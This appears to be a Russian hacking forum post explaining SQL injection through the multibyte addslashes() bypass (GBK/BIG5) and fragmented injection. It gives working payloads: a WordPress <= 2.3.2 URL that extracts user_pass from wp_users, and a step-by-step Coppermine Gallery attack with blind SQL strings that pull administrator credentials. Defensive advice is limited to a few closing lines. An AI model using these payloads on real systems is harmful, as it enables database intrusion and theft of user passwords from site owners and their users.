|
Banned
Регистрация: 05.12.2005
Сообщений: 982
Провел на форуме: 4839935
Репутация:
1202
|
|
[ Multy-Byte ]
Рассказывает товарищ (c)[cash]#hack-shop.org.ru , я лишь изредка дополняю и уточняю детали, итак...
Опять Stefan Esser и опять баги в PHP. В частности интересна уязвимость addslashes() к мультибайтовым символам.
В первые о данной уязвимости заговорили в 2006, обсуждение шло о недостаточной фильтрации в функции addslashes(), ставшей популярной как простая защита от SQL-иньекций.
Как всегда сначало общественность не достойно отреагировала на появление уязвимости за что и была наказана.
Многие достаточно крупные и очень крупные серверы подверженны данной уязвимости.
Уязвимость присутствует как в версиях MySQL 4.1.х->4.1.20 , 5.0.x->5.0.22, так и в самом PHP <= 5.2.5
Addslashes() некорректно обрабатывает 3 различные кодировки SJIS, BIG5 (болле известную как CP950), и GBK(CP936).
Все эти кодировки основаны на двоичной системе.
Данные кодировки являются расширенными и используются преимущественно в азиатских странах, где требования языка\алфавита не удовлетворяет стандартное 256-символьное ограничение.
Таким образом, вероятная уязвимость азиатского сайта несоизмеримо выше по сравнению со всеми остальными к атаке на мультибайт.
Первый адвизори вышел для GBK поэтому подробно рассмотрим особенность именно этой кодировки.
В GBK символы интерпритируются по одному.
0xbf27 состоит из 2 символов в 2-ной системе именно этот символ будет некорректно отфильтрован.
0xbf5c будет так некорректно отфильтрован и вызовет ошибку, так как будет недопустимый символ (\).
Рассмотрим теперь эти данные обработанные функцией addslashes().
Первый вариант 0xbf27 будет интерпритирован как одиночные символы 0xbf при переводе будет (?), а затем 0x27 ('), и второй вариант 0xbf5c, 0xbf при переводе будет (?), а затем 0x5c (\).
Addslashes(string str) возвращает сроку str, в которой перед каждым спецсимволом добавлен обратный слэш (\), например для последующего использования этой строки в запросе к базе данных.
Экранируются одиночная кавычка ('), двойная кавычка ("), обратный слэш (\) и NUL (байт NULL).
Таким образом данный фильтр может пропустить некорректные символы символы к базе данных, а именно (').
После чего станет возможно составления запроса к базе данных.
Имея синтаксис бд.
PHP код:
CREATE TABLE tables (
id VARCHAR(32) CHARACTER SET GBK,
data VARCHAR(8000) CHARACTER SET GBK,
PRIMARY KEY (data)
);
mysql_query("SELECT data FROM tables WHERE id='".addslashes($id)."'");
В данном случае что бы составить корректный запрос нам обязательно надо закрыть параметр "id='" и привести его к виду "id='1'", но передать одинарную кавычку мы не сможем, так как она экранируется.
Если версия нашей базы данных совпадает с одной из указанных выше мы можем применить данный способ в деле, передав следующий пакет:
/?id=%BF%27' union select 1,2/*';
Данный метод будет работать только при magic_quotes_gpc = OFF. Так как при включенном magic_quotes_gpc по умолчанию все GET/POST/COOKIE буду обрабатываться функцией addslashes() что приведет к что приведет к двойной фильтрации.
Примером паблик эксплоитов могут служить SQL-inj в Wordpress <= 2.3.2 с БД в GBK кодировке
http://securityvulns.ru/Sdocument635.html
/wordpress/index.php?exact=1&sentence=1&s=%b3%27)))/**/AND/**/ID=-1/**/UNION/**/SELECT/**/1,2,3,4,5,user_pass,7,8,9,10,11,12,13,14,15,16,17, 18,19,20,21,22,23,24/**/FROM/**/wp_users%23
Особого внимания заслуживает паблик эксплоит под SMF<=1.1.4
http://milw0rm.com/exploits/5826
Основанный на принудительной смене локали базы данных на уязвимую BIG5, эксплоит уже не зависит от локали кодировки сервера.
Неисключено существование аналогичных багов и в других приложениях.
Так как данные виды кодировок мало распространены самая простая защита - не использовать их в базах данных. Ну, а по-хорошому, обновить программное обеспечение тоже как бы будет не лишним.
[ Фрагментированная SQL-inj ]
Также рассмотрим такой малоизвестный вид уязвимости как фрагментированная SQL-inj.
По сути это таже самая SQL-inj, только с той лишь разницей, что её обнаружение и эксплуатация на порядок сложнее.
Классический пример такой инъекции можно встретить, когда данные извлекаются из первого SQL-запроса и далее без должной фильтрации подставляются во второй SQL-запрос.
Тоесть имеется дефект обработки данных, либо полное отсутствие фильтрации данных на одной из стадий манипуляции ими.
Расмотрим уязвимость на практическом примере для Coppermine Photo Gallery <= 1.4.19.
Предварительно опишу детали бага:
1) В GET,POST,REQUEST опасные символы заменяются на html аналоги, но '\' не затрагивается.
Заодно они обрабатываются stripslashes(), что дает возможность использовать NULL-byte.
2) При регистрации нового пользователя для email используется регулярка, основанная на ereg(), который в свою очередь уязвим к NULL-byte (обработка строки прекращается при встрече с ним).
Таким образом email вида "test@blah.com%00\" успешно проходит проверку.
В базу данных email попадает со слешем на конце. Что это дает?
Если где-либо в скрипте первый query получит email и передаст его во второй query без фильтрации, то слэш заэкранирует закрывающую ковычку, синтаксис запроса нарушится и возникет SQL-Error.
SQL-error:
PHP код:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', 'SomeUserName', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
Ошибка как таковая бесполезна, но если сразу после параметра email будет идти еще один параметр, который мы можем произвольно менять, то становится возможным проведение фрагменитированной SQL-injection.
SQL-inj more1row:
PHP код:
INSERT INTO cpg1418_ecards (sender_name, sender_email, recipient_name, recipient_email, link, date, sender_ip) VALUES ('123', 'test@blah.com\', '[SQL-inject more1row]', 'SomeUser@email.com', '5OntzOjI6InJuIjtzOjk', '', '127.0.0.1')
Как видно, открывающаяся ковычка поля recipient_name превращается в закрывающуюся ковычку sender_email. Мы получаем возможность провести SQL-inj в поле recipient_name.
Для эксплуатации уязвимости потребуется:
~ включена регистрация новых пользователей(по дефолту отключено)
~ не требуется подтверждение через email(по дефолту требуется)
~ включен лог открыток(по дефолту отключено)
Алгоритм действий прост:
1) Отснифать POST-пакет регистрации, заменить в нем емаил на "test@blah.com%00\" и отослать серверу.
2) Авторизовавшись, выбираем любое загруженное изображение в галерее и жмем на значок письма (Отправить этот файл как открытку).
3) Корректно заполняем и отсылаем. Если сервер сообщает об ошибке базы данных, значит лог открыток включен и возможна SQL-inj.
4 Далее в поле "Имя получателя" проводим SQL-more1row используя автоматизированный скрипт.
FALSE - "Имя получателя":
PHP код:
or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=254,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
TRUE - "Имя получателя":
PHP код:
or if(ascii(substring((select concat(user_id,0x3a,user_name,0x3a,user_password,0x3a,user_email) from cpg14x_users where user_group=1 limit 1),1,1))=49,1,(select 1 union select 2))=1, 0x6861636b6572 , 0x6861636b6572406d61696c2e7275 , 0x6861636b , 0x31323039333931343430 , 0x3230372e34362e3233322e313832 )/*
[*] Из-за фильтрации '<' '>' можно использовать только знак '=', но это уже мелочи и дело техники как говорится.
Необходима надежная фильтрация даных, заносимых в бд, либо дополнительная проверка при извлечении.
PS: уже было закончив подтему, я получил ссылку на новый вариант фрагментированной атаки. no-no-no,Stefan Esser,no! =)
На этот раз демон скукожил Mysql. Речь идет о особенностях сравнения строк и автоматического усечения данных в MySQL.
Любой столбец имеет собственную максимальную длину. При её превышении MySQL отсекает оставшуюся часть запроса по умолчанию.
Более подробно читай в переводе [Raz0r] http://raz0r.name/vulnerabilities/sql-column-truncation-security/
Уязвимости могут быть подвержены самые разнообразные приложения, не проверяющие длину строки перед передачей в БД.
Вобщем, Стефан как всегда отжог(я уже молчу про предсказуемость случайных чисел в PHP, и это совсем другая история...)
[ END ]
Вроде никого не обидел: хэкерам - баги, админам - патчи =)
Надеюсь, читатель, ты узнал для себя что-то новое и не жалеешь о потраченном времени.
Чтож, думаю, мы еще встретимся с тобой на полосе журнала. Удачи.
|